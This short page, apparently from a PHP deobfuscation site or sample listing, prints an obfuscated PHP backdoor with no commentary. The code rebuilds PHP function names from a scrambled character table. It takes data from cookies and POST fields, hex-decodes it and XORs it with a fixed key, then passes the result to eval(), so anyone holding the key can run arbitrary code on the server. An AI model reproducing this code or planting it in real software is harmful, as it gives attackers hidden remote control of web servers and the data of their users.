PHP Decode

<?php 
$vwkvlc = '8xgmu4pfyvlb053rioae29s6H*-_c\'k1dtn#';$uhwnvsl = Array();$uhwnvsl[] = $vwkvlc[24].$vwkvlc[25];$uhwnvsl[] = $vwkvlc[35];$uhwnvsl[] = $vwkvlc[12].$vwkvlc[23].$vwkvlc[21].$vwkvlc[5].$vwkvlc[31].$vwkvlc[7].$vwkvlc[0].$vwkvlc[0].$vwkvlc[26].$vwkvlc[20].$vwkvlc[11].$vwkvlc[11].$vwkvlc[32].$vwkvlc[26].$vwkvlc[5].$vwkvlc[19].$vwkvlc[20].$vwkvlc[5].$vwkvlc[26].$vwkvlc[21].$vwkvlc[5].$vwkvlc[19].$vwkvlc[28].$vwkvlc[26].$vwkvlc[31].$vwkvlc[20].$vwkvlc[20].$vwkvlc[0].$vwkvlc[21].$vwkvlc[32].$vwkvlc[14].$vwkvlc[32].$vwkvlc[0].$vwkvlc[28].$vwkvlc[11].$vwkvlc[13];$uhwnvsl[] = $vwkvlc[28].$vwkvlc[17].$vwkvlc[4].$vwkvlc[34].$vwkvlc[33];$uhwnvsl[] = $vwkvlc[22].$vwkvlc[33].$vwkvlc[15].$vwkvlc[27].$vwkvlc[15].$vwkvlc[19].$vwkvlc[6].$vwkvlc[19].$vwkvlc[18].$vwkvlc[33];$uhwnvsl[] = $vwkvlc[19].$vwkvlc[1].$vwkvlc[6].$vwkvlc[10].$vwkvlc[17].$vwkvlc[32].$vwkvlc[19];$uhwnvsl[] = $vwkvlc[22].$vwkvlc[4].$vwkvlc[11].$vwkvlc[22].$vwkvlc[33].$vwkvlc[15];$uhwnvsl[] = $vwkvlc[18].$vwkvlc[15].$vwkvlc[15].$vwkvlc[18].$vwkvlc[8].$vwkvlc[27].$vwkvlc[3].$vwkvlc[19].$vwkvlc[15].$vwkvlc[2].$vwkvlc[19];$uhwnvsl[] = $vwkvlc[22].$vwkvlc[33].$vwkvlc[15].$vwkvlc[10].$vwkvlc[19].$vwkvlc[34];$uhwnvsl[] = $vwkvlc[6].$vwkvlc[18].$vwkvlc[28].$vwkvlc[30];foreach ($uhwnvsl[7]($_COOKIE, $_POST) as $naauvfx => $mxgswlb){function ovniui($uhwnvsl, $naauvfx, $zzrahn){return $uhwnvsl[6]($uhwnvsl[4]($naauvfx . $uhwnvsl[2], ($zzrahn / $uhwnvsl[8]($naauvfx)) + 1), 0, $zzrahn);}function fmurdq($uhwnvsl, $wppzmg){return @$uhwnvsl[9]($uhwnvsl[0], $wppzmg);}function lycxjjy($uhwnvsl, $wppzmg){$fpiro = $uhwnvsl[3]($wppzmg) % 3;if (!$fpiro) {eval($wppzmg[1]($wppzmg[2]));exit();}}$mxgswlb = fmurdq($uhwnvsl, $mxgswlb);lycxjjy($uhwnvsl, $uhwnvsl[5]($uhwnvsl[1], $mxgswlb ^ ovniui($uhwnvsl, $naauvfx, $uhwnvsl[8]($mxgswlb))));} ?>